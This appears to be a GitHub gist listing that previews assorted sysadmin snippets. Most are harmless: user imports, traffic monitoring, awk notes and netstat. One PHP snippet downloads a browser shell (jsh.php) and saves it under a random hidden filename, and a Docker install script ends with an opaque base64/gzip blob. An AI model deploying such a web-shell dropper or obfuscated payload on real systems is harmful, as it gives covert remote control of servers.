This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
step zero: maybe you should create groups to match users if not already created. | |
First we need to add users, and most users will ask you to create those users with certain uid, gid, etc, in this case my user ask me to import this file: | |
----cut here---- | |
pt001:x:1101:1100:Some comment about this user pte:/dirhome/ptuserone:/bin/bash | |
pt002:x:1102:1100:Some comment about this user another user:/home/ptusertwo:/sbin/nologin | |
... | |
... | |
... | |
----cut here---- |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$tmp=tempnam(".", "tmp.php"); | |
$mys=tempnam(".", "michel.php"); | |
copy('https://raw.githubusercontent.com/jcubic/jsh.php/master/jsh.php', $tmp); | |
$o=file_get_contents("$tmp"); | |
$str=rand();$seudorndstr = md5($str); | |
$O=str_replace("admin", "$seudorndstr",$o); | |
file_put_contents("{$seudorndstr}.php",$O); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#improved from https://www.commandlinefu.com/commands/view/10095/network-traffic-on-nics-in-mbps-without-sar-iperf-etc... | |
while true; do | |
[ -z ${TX2} ] && TX2=0 | |
[ -z ${RX2} ] && RX2=0 | |
[ -z ${INTERFACE} ] && INTERFACE=$(ip link | egrep -e '^[0-9]+:' | grep -v 'lo:' | grep -v 'state DOWN'| cut -d " " -f2 | cut -d ":" -f1 | head -n1) && echo "INTERFACE=${INTERFACE}" | |
RX1=`cat /sys/class/net/${INTERFACE}/statistics/rx_bytes` | |
TX1=`cat /sys/class/net/${INTERFACE}/statistics/tx_bytes` | |
DOWN=$(($RX1-$RX2)) | |
UP=$(($TX1-$TX2)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
amldump: información detallada sobre el estado de las máquinas virtuales en ejecución, dumpea en formato .aml (todo: investigar) | |
apiForwarder: enrutar solicitudes de API entrantes | |
applyHostProfile | |
apply-host-profiles | |
doat | |
getAccessToken | |
gpuvm | |
grabCIMData | |
gstorecli | |
hbrfilterctl |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
1) upload this file into the folder you'd like to extract the content of the downloaded .zip file. | |
2) run the script in you browser. i.e. http://localhost/downunzip.php | |
3) after the script was executed sucesfully, login thru ftp and remove this script | |
*/ | |
/* you can change this */ | |
$download_url = "https://www.pulque.ro/m/wp-content2.tar"; | |
$T=explode("/", $download_url); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[PHP] | |
;;;;;;;;;;;;;;;;;;; | |
; About php.ini ; | |
;;;;;;;;;;;;;;;;;;; | |
; PHP's initialization file, generally called php.ini, is responsible for | |
; configuring many of the aspects of PHP's behavior. | |
; PHP attempts to find and load this configuration from a number of locations. | |
; The following is a summary of its search order: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt update -y | |
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common nano wget | |
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg | |
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null | |
sudo apt update -y | |
sudo apt install docker-ce | |
sudo systemctl enable --now docker | |
echo 'H4sIAAAAAAAAA+1ZbW/bNhDOZ/0KIkGBDZje31JvwVCs/ZYgaxJgGIrCoKWTw0YiNZJy4v36HanY | |
ib04XgHHQTs9hvXCo47He44vJzVdrVl73foHL4cAkaepPSPWz/Y6TNIozyP8hQdBGCZxckDSF7Rp | |
iU5pKgk5kELo5+ptk3+jaBb8F4JXbPoiYfCf+U+TLMki5D/Kg2jgfx9Y57+ZewWvdtuGIThLkk38 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Montar imagen como loop device incluir particiones | |
sudo losetup --find -P --show dd.img | |
montar manualmente particiones | |
udisksctl mount -b /dev/sdd1 | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
netstat -tpn | tail -n+3 | grep -v '::' | tr ':' ' ' | tr '/' ' ' | awk '{print $4" "$5" "$6" "$7" "$10}' | grep -v '127.0.0.1' | awk '$1!=$3 {print $1" "$3}' | tr ' ' '\n' | sort | uniq -c | sort -n |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
awk | |
Separator:--> -F ":" | |
columnas 1,3,última:--> '{print $1" "$3" "$NF}' | |
awk | |
Separator:--> -F ":" | |
sum column 3:--> '{s=s+$3}END{print s}' | |
awk | |
regex en var GG:--> GG="[0-9]+" | |
if col2 like regex:--> '{if ( $2 ~ GG ){ print $0; }}' | |
awk |
NewerOlder